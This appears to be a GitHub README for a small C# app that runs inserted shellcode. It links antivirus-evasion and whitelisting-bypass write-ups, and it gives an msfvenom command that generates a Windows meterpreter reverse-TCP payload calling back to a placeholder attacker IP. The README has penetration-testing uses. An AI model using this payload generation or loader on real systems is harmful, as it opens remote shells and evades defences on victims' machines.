/curly-bois-shell-script

A quick C# console app for dropping shell code in to

Primary LanguageC#MIT LicenseMIT

curly-bois-shell-script

A quick C# console app for dropping shell code in to...

Taken some inspiration from this blog post;

https://www.blackhillsinfosec.com/three-simple-disguises-for-evading-antivirus/

https://www.blackhillsinfosec.com/how-to-bypass-application-whitelisting-av/

This utilizes Casey Smith's InstallUtil-ShellCode.cs

(now gone) https://gist.githubusercontent.com/subTee/408d980d88515a539672/raw/5e71ada8732cc623cbe3858ebfe41b904d233f4c/InstallUtil-ShellCode.cs

https://web.archive.org/web/20170330212151/http://subt0x10.blogspot.com/2015/08/application-whitelisting-bypasses-101.html

https://github.com/FuzzySecurity/DefCon24/blob/master/Workshop-Walkthrough.txt

Setting up

Project is set up for DotNet Core 2.0.3; https://github.com/dotnet/core/blob/master/release-notes/download-archives/2.0.3.md

Running

You're going to need to generate some shell code, so give this a crank;

msfvenom -p windows/meterpreter/reverse_tcp lhost=YOUR_IP lport=444 -f csharp > shellcode.txt

Next you need to drop it in to Program.cs